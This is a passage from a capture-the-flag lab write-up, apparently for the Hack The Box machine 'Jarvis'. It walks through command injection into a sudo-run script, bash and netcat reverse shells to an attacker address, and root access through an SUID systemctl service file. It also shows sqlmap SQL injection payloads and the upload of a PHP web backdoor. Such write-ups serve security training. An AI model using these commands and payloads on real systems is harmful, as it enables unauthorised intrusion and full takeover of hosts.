www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___( _) _ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| ' _ \| |/ _ \ '__| ' _ \| | | |
\_ _ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\_ __|_( _) | .__/ \_ _, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $( bash)
$( bash)
pepper@jarvis:/var/www/Admin-Utilities$
However, we can’t get any output from this terminal.
So get another reverse shell as a user “pepper”.
To launch a netcat listener and execute following command as a user “pepper”.
pepper@jarvis:/home$ bash -i > & /dev/tcp/10.10.14.13/443 0>&1
bash -i > & /dev/tcp/10.10.14.13/443 0>&1
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.143] 55322
pepper@jarvis:/home$ id
id
uid = 1000( pepper) gid = 1000( pepper) groups = 1000( pepper)
pepper@jarvis:/home$
user.txt in in the directory “/home/pepper”.
pepper@jarvis:~$ ls -l
ls -l
total 12
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-rw-r--r-- 1 pepper pepper 114 Nov 9 10:18 arnotic.service
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
pepper@jarvis:~$ cat user.txt
cat user.txt
2afa36c4f05b37b34259c93551f5c44f
pepper@jarvis:~$
3. Getting Root
As always, check SUID binary.
The interesting thing is that user “pepper” can run “systemctl” as root.
pepper@jarvis:~$ find / -perm -4000 -exec ls -al {} \; 2>/dev/null
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 30800 Aug 21 2018 /bin/fusermount
-rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl
-rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
-rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 440728 Mar 1 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
According to this article , we can execute any command with this security gap.
To obtain this purpose, at first, confirm that we have old version of “nc” command.
pepper@jarvis:~$ nc -h
nc -h
[ v1.10-41+b1]
connect to somewhere: nc [ -options ] hostname port[s] [ ports] ...
listen for inbound: nc -l -p port [ -options ] [ hostname ] [ port]
options:
-c shell commands as ` -e '; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ' ftp\- data').
pepper@jarvis:~$
Then, create a config file.
pepper@jarvis:~$ cat privesc.service
cat privesc.service
[ Service]
Type = simple
ExecStart = /bin/nc -e /bin/bash 10.10.14.13 1234
[ Install]
WantedBy = multi-user.target
After that, launch a netcat listener and execute the “privesc.service” with following commands.
We can achieve a reverse shell as a root user.
pepper@jarvis:~$ /bin/systemctl link /home/pepper/privesc.service
/bin/systemctl link /home/pepper/privesc.service
Created symlink /etc/systemd/system/privesc.service -> /home/pepper/privesc.service.
pepper@jarvis:~$ /bin/systemctl start privesc.service
/bin/systemctl start privesc.service
root@kali:~# nc -nlvp 1234
listening on [ any] 1234 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.143] 39858
id
uid = 0( root) gid = 0( root) groups = 0( root)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link /ether 00:50:56:b9:9b:05 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.143/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:9b05/64 scope global mngtmpaddr dynamic
valid_lft 86325sec preferred_lft 14325sec
inet6 fe80::250:56ff:feb9:9b05/64 scope link
valid_lft forever preferred_lft forever
root.txt is in the directory “/root”.
ls -l /root
total 16
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
cat /root/root.txt
d41d8cd98f00b204e9800998ecf84271
4. Another way to get www-data shell
We have SQL injection here.
For this machine, we can use it to achieve a user shell.
4.1 –os-shell way
A way that we use SQLmap with “–os-shell” parameter
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod= 1 --random-agent --os-shell
___
__H__
___ ___[(] _____ ___ ___ { 1.3.10#stable}
|_ -| . [ '] | .' | . |
|___|_ [ ']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user' s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[ * ] starting @ 19:22:26 /2019-11-10/
[ 19:22:26] [ INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[ 19:22:26] [ INFO] resuming back-end DBMS 'mysql'
[ 19:22:26] [ INFO] testing connection to the target URL
sqlmap resumed the following injection point( s) from stored session:
---
Parameter: cod ( GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod = 1 AND 3862 = 3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind ( query SLEEP)
Payload: cod = 1 AND ( SELECT 6380 FROM ( SELECT( SLEEP( 5))) sIAL)
Type: UNION query
Title: Generic UNION query ( NULL) - 7 columns
Payload: cod = -3382 UNION ALL SELECT NULL,CONCAT( 0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171) ,NULL,NULL,NULL,NULL,NULL-- AKaz
---
[ 19:22:26] [ INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 ( stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[ 19:22:26] [ INFO] going to use a web backdoor for command prompt
[ 19:22:26] [ INFO] fingerprinting the back-end DBMS operating system
[ 19:22:26] [ INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[ 1] ASP
[ 2] ASPX
[ 3] JSP
[ 4] PHP ( default)
[ 19:22:28] [ WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[ 1] common location( s) ( '/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs' ) ( default)
[ 2] custom location( s)
[ 3] custom directory list file
[ 4] brute force search
[ 19:22:29] [ INFO] retrieved web server absolute paths: '/images/'
[ 19:22:29] [ INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[ 19:22:29] [ WARNING] unable to upload the file stager on '/var/www/'
[ 19:22:29] [ INFO] trying to upload the file stager on '/var/www/' via UNION method
[ 19:22:29] [ WARNING] expect junk characters inside the file as a leftover from UNION query
[ 19:22:29] [ WARNING] it looks like the file has not been written ( usually occurs if the DBMS process user has no write privileges in the destination path)
[ 19:22:30] [ INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[ 19:22:30] [ INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpusmti.php
[ 19:22:30] [ INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbescf.php
[ 19:22:30] [ INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [ Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>
4.2 –file-write way
A way that we use “–file-write” option of SQLmap.
Upload a webshell and manually run commands by forging http requests.
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod= 1 --random-agent --file-write /usr/share/webshells/php/simple-backdoor.php --file-dest /var/www/html/cmd.php
___
__H__
___ ___["]_____ ___ ___ {1.3.10#stable}
|_ -| . [" ] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user' s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[ * ] starting @ 19:28:11 /2019-11-10/
[ 19:28:11] [ INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[ 19:28:11] [ INFO] resuming back-end DBMS 'mysql'
[ 19:28:11] [ INFO] testing connection to the target URL
sqlmap resumed the following injection point( s) from stored session:
---
Parameter: cod ( GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod = 1 AND 3862 = 3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind ( query SLEEP)
Payload: cod = 1 AND ( SELECT 6380 FROM ( SELECT( SLEEP( 5))) sIAL)
Type: UNION query
Title: Generic UNION query ( NULL) - 7 columns
Payload: cod = -3382 UNION ALL SELECT NULL,CONCAT( 0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171) ,NULL,NULL,NULL,NULL,NULL-- AKaz
---
[ 19:28:11] [ INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 ( stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[ 19:28:11] [ INFO] fingerprinting the back-end DBMS operating system
[ 19:28:11] [ INFO] the back-end DBMS operating system is Linux
[ 19:28:11] [ WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file '/usr/share/webshells/php/simple-backdoor.php' has been successfully written on the back-end DBMS file system ( '/var/www/html/cmd.php' ) ? [ Y/n] Y
[ 19:28:18] [ INFO] the remote file '/var/www/html/cmd.php' is larger ( 334 B) than the local file '/usr/share/webshells/php/simple-backdoor.php' ( 328B)
[ 19:28:18] [ INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[ * ] ending @ 19:28:18 /2019-11-10/
root@kali:~#
root@kali:~# curl 'http://10.10.10.143/cmd.php?cmd=id'
<! -- Simple PHP backdoor by DK ( http://michaeldaw.org) -- >
<pre>uid= 33( www-data) gid = 33( www-data) groups = 33( www-data)
</pre>